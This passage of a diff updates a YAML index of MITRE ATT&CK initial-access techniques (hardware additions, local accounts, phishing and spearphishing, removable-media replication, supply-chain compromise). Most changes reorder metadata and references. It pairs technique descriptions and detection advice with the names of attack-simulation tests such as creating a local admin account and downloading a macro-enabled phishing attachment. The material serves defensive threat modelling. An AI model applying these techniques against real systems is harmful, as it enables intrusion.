-        phase_name: initial-access
-      modified: '2021-04-22T17:47:04.476Z'
+      name: Hardware Additions
+      x_mitre_version: '1.2'
+      modified: '2021-08-17T00:28:00.947Z'
       created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
       x_mitre_platforms:
       - Windows
       - Linux
       - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9
+      description: 'Adversaries may introduce computer accessories, computers, or
+        networking hardware into a system or network that can be used as a vector
+        to gain access. While public references of usage by threat actors are scarce,
+        many red teams/penetration testers leverage hardware additions for initial
+        access. Commercial and open source products can be leveraged with capabilities
+        such as passive network tapping (Citation: Ossmann Star Feb 2011), network
+        traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557))
+        (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck
+        Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016),
+        addition of new wireless access to an existing network (Citation: McMillan
+        Pwn March 2012), and others.'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
       x_mitre_detection: "Asset management systems may help with the detection of
         computer systems or network devices that should not exist on a network. \n\nEndpoint
         sensors may be able to detect the addition of hardware via USB, Thunderbolt,
         and other external device communication ports."
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1200
+        external_id: T1200
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/440.html
+        external_id: CAPEC-440
+        source_name: capec
+      - source_name: Ossmann Star Feb 2011
+        description: Michael Ossmann. (2011, February 17). Throwing Star LAN Tap.
+          Retrieved March 30, 2018.
+        url: https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
+      - source_name: Aleks Weapons Nov 2015
+        description: Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding
+          the virtual & physical tools used by white/black hat hackers. Retrieved
+          March 30, 2018.
+        url: https://www.youtube.com/watch?v=lDvf4ScWbcQ
+      - source_name: Hak5 RubberDuck Dec 2016
+        description: Hak5. (2016, December 7). Stealing Files with the USB Rubber
+          Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.
+        url: https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained
+      - source_name: Frisk DMA August 2016
+        description: Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel.
+          Retrieved March 30, 2018.
+        url: https://www.youtube.com/watch?v=fXthwl6ShOg
+      - source_name: McMillan Pwn March 2012
+        description: Robert McMillan. (2012, March 3). The Pwn Plug is a little white
+          box that can hack your network. Retrieved March 30, 2018.
+        url: https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/
     atomic_tests: []
   T1078.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Local Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-18T17:45:48.323Z'
+      created: '2020-03-13T20:26:46.695Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Containers
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
       description: "Adversaries may obtain and abuse credentials of a local account
         as a means of gaining Initial Access, Persistence, Privilege Escalation, or
@@ -75881,15 +78199,6 @@ initial-access:
         and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
         Password reuse may allow the abuse of local accounts across a set of machines
         on a network for the purposes of Privilege Escalation and Lateral Movement. "
-      name: Local Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.003
-        url: https://attack.mitre.org/techniques/T1078/003
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -75899,25 +78208,15 @@ initial-access:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-05T12:51:00.663Z'
-      created: '2020-03-13T20:26:46.695Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Containers
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
       x_mitre_detection: Perform regular audits of local system accounts to detect
         accounts that may have been created by an adversary for persistence. Look
         for suspicious account behavior, such as accounts logged in at odd times or
         outside of business hours.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/003
+        external_id: T1078.003
+        source_name: mitre-attack
       identifier: T1078.003
     atomic_tests:
     - name: Create local account with admin privileges
@@ -75938,38 +78237,21 @@ initial-access:
         elevation_required: true
   T1566:
     technique:
-      id: attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b
-      description: |-
-        Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
-
-        Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.
-      name: Phishing
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1566
-        url: https://attack.mitre.org/techniques/T1566
-      - external_id: CAPEC-98
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/98.html
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
       type: attack-pattern
+      name: Phishing
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.2'
+      modified: '2021-10-18T17:39:13.604Z'
+      created: '2020-03-02T18:45:07.892Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-14T14:38:43.211Z'
-      created: '2020-03-02T18:45:07.892Z'
-      x_mitre_contributors:
-      - Philip Winther
       x_mitre_platforms:
       - Linux
       - macOS
@@ -75977,6 +78259,14 @@ initial-access:
       - SaaS
       - Office 365
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b
+      description: |-
+        Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
+
+        Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.
+      x_mitre_contributors:
+      - Philip Winther
       x_mitre_detection: |-
         Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
 
@@ -75987,21 +78277,49 @@ initial-access:
         Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.
 
         Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.1'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1566
+        external_id: T1566
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/98.html
+        external_id: CAPEC-98
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
     atomic_tests: []
   T1091:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Replication Through Removable Media
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1091
+      - url: https://attack.mitre.org/techniques/T1091
         external_id: T1091
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'Drive: Drive Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-20T02:18:04.581Z'
+      x_mitre_system_requirements:
+      - Removable media allowed, Autorun enabled or vulnerability present that allows
+        for code execution
+      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: Adversaries may move onto systems, possibly those on disconnected
         or air-gapped networks, by copying malware to removable media and taking advantage
         of Autorun features when the media is inserted into a system and executes.
@@ -76011,37 +78329,19 @@ initial-access:
         In the case of Initial Access, this may occur through manual manipulation
         of the media, modification of systems used to initially format the media,
         or modification to the media's firmware itself.
-      name: Replication Through Removable Media
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: lateral-movement
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-07-14T19:45:59.638Z'
-      created: '2017-05-31T21:31:08.977Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'Drive: Drive Creation'
       x_mitre_detection: Monitor file access on removable media. Detect processes
         that execute from removable media after it is mounted or when initiated by
         a user. If a remote access tool is used in this manner to move laterally,
         then additional actions are likely to occur after execution, such as opening
         network connections for Command and Control and system and network information
         Discovery.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_system_requirements:
-      - Removable media allowed, Autorun enabled or vulnerability present that allows
-        for code execution
-      x_mitre_platforms:
-      - Windows
+      created: '2017-05-31T21:31:08.977Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1091
     atomic_tests:
     - name: USB Malware Spread Simulation
@@ -76068,29 +78368,25 @@ initial-access:
           }
   T1566.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1566.001
-        url: https://attack.mitre.org/techniques/T1566/001
-      - external_id: CAPEC-163
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/163.html
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
-      - source_name: Elastic - Koadiac Detection with EQL
-        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
-        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
-          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-10-18T17:39:12.452Z'
       name: Spearphishing Attachment
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.2'
+      created: '2020-03-02T19:05:18.137Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: initial-access
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597
       description: "Adversaries may send spearphishing emails with a malicious attachment
         in an attempt to gain access to victim systems. Spearphishing attachment is
         a specific variant of spearphishing. Spearphishing attachment is different
@@ -76111,17 +78407,10 @@ initial-access:
         email boundary defenses. Adversaries frequently manipulate file extensions
         and icons in order to make attached executables appear to be document files,
         or files exploiting one application appear to be a file for a different one. "
-      id: attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: initial-access
-      modified: '2021-04-01T16:21:17.553Z'
-      created: '2020-03-02T19:05:18.137Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Philip Winther
-      x_mitre_version: '2.1'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: |-
         Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.
 
@@ -76130,14 +78419,26 @@ initial-access:
         Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.
 
         Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_platforms:
-      - macOS
-      - Windows
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1566/001
+        external_id: T1566.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/163.html
+        external_id: CAPEC-163
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
+      - url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
+        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
+          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
+        source_name: Elastic - Koadiac Detection with EQL
       identifier: T1566.001
     atomic_tests:
     - name: Download Macro-Enabled Phishing Attachment
@@ -76203,40 +78504,20 @@ initial-access:
         name: powershell
   T1566.002:
     technique:
-      id: attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7
-      description: |-
-        Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
-
-        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
-      name: Spearphishing Link
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1566.002
-        url: https://attack.mitre.org/techniques/T1566/002
-      - external_id: CAPEC-163
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/163.html
-      - source_name: Trend Micro Pawn Storm OAuth 2017
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
-        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
-          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
-      - source_name: Microsoft Anti Spoofing
-        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
-        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
-          Retrieved October 19, 2020.
-      - source_name: ACSC Email Spoofing
-        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
-        description: Australian Cyber Security Centre. (2012, December). Mitigating
-          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
       type: attack-pattern
+      name: Spearphishing Link
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.1'
+      modified: '2021-04-14T14:38:42.715Z'
+      created: '2020-03-02T19:15:44.182Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-04-14T14:38:42.715Z'
-      created: '2020-03-02T19:15:44.182Z'
       x_mitre_platforms:
       - Linux
       - macOS
@@ -76244,38 +78525,62 @@ initial-access:
       - Office 365
       - SaaS
       - Google Workspace
-      x_mitre_detection: |-
-        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
-
-        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
-
-        Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
       x_mitre_is_subtechnique: true
-      x_mitre_version: '2.1'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
+      id: attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7
+      description: |-
+        Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
+
+        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
       x_mitre_contributors:
       - Philip Winther
       - Shailesh Tiwary (Indian Army)
       - Mark Wee
       - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
       - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
+      x_mitre_detection: |-
+        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
+
+        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
+
+        Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1566/002
+        external_id: T1566.002
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/163.html
+        external_id: CAPEC-163
+        source_name: capec
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
+        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
+          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
+        source_name: Trend Micro Pawn Storm OAuth 2017
+      - url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
+        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
+          Retrieved October 19, 2020.
+        source_name: Microsoft Anti Spoofing
+      - url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
+        description: Australian Cyber Security Centre. (2012, December). Mitigating
+          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
+        source_name: ACSC Email Spoofing
     atomic_tests: []
   T1566.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1566.003
-        url: https://attack.mitre.org/techniques/T1566/003
-      - external_id: CAPEC-163
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/163.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-10-18T01:55:02.988Z'
       name: Spearphishing via Service
+      x_mitre_data_sources:
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.0'
+      created: '2020-03-02T19:24:00.951Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317
       description: "Adversaries may send spearphishing messages via third-party services
         in an attempt to gain access to victim systems. Spearphishing via service
         is a specific variant of spearphishing. It is different from other forms of
@@ -76297,19 +78602,11 @@ initial-access:
         and the target is more likely to open the file since it's something they were
         expecting. If the payload doesn't work as expected, the adversary can continue
         normal communications and troubleshoot with the target on how to get it working."
-      id: attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2020-10-18T01:55:02.988Z'
-      created: '2020-03-02T19:24:00.951Z'
-      x_mitre_data_sources:
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: "Because most common third-party services used for spearphishing
         via service leverage TLS encryption, SSL/TLS inspection is generally required
         to detect the initial communication/delivery. With SSL/TLS inspection intrusion
@@ -76320,65 +78617,31 @@ initial-access:
         Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe)
         for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203)
         or usage of malicious scripts."
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1566/003
+        external_id: T1566.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/163.html
+        external_id: CAPEC-163
+        source_name: capec
     atomic_tests: []
   T1195:
     technique:
-      created: '2018-04-18T17:59:24.739Z'
+      type: attack-pattern
       modified: '2021-01-06T19:32:28.382Z'
+      name: Supply Chain Compromise
+      x_mitre_version: '1.2'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1195
-        url: https://attack.mitre.org/techniques/T1195
-      - external_id: CAPEC-437
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/437.html
-      - external_id: CAPEC-438
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/438.html
-      - external_id: CAPEC-439
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/439.html
-      - source_name: IBM Storwize
-        url: https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E
-        description: IBM Support. (2017, April 26). Storwize USB Initialization Tool
-          may contain malicious code. Retrieved May 28, 2019.
-      - source_name: Schneider Electric USB Malware
-        url: https://www.se.com/ww/en/download/document/SESN-2018-236-01/
-        description: Schneider Electric. (2018, August 24). Security Notification
-          – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.
-          Retrieved May 28, 2019.
-      - url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
-        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
-          into the CCleaner incident point to a possible third stage that had keylogger
-          capacities. Retrieved March 15, 2018.
-        source_name: Avast CCleaner3 2018
-      - url: https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
-        description: Windows Defender Research. (2018, March 7). Behavior monitoring
-          combined with machine learning spoils a massive Dofoil coin mining campaign.
-          Retrieved March 20, 2018.
-        source_name: Microsoft Dofoil 2018
-      - url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
-        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
-          Persistent Threat. Retrieved April 6, 2018.
-        source_name: Command Five SK 2011
-      - url: https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
-        description: O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood
-          Project. Retrieved February 15, 2018.
-        source_name: Symantec Elderwood Sept 2012
-      - source_name: Trendmicro NPM Compromise
-        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
-        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
-          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7
       description: "Adversaries may manipulate products or product delivery mechanisms
         prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply
         chain compromise can take place at any stage of the supply chain including:\n\n*
@@ -76400,55 +78663,91 @@ initial-access:
         Five SK 2011) Popular open source projects that are used as dependencies in
         many applications may also be targeted as a means to add malicious code to
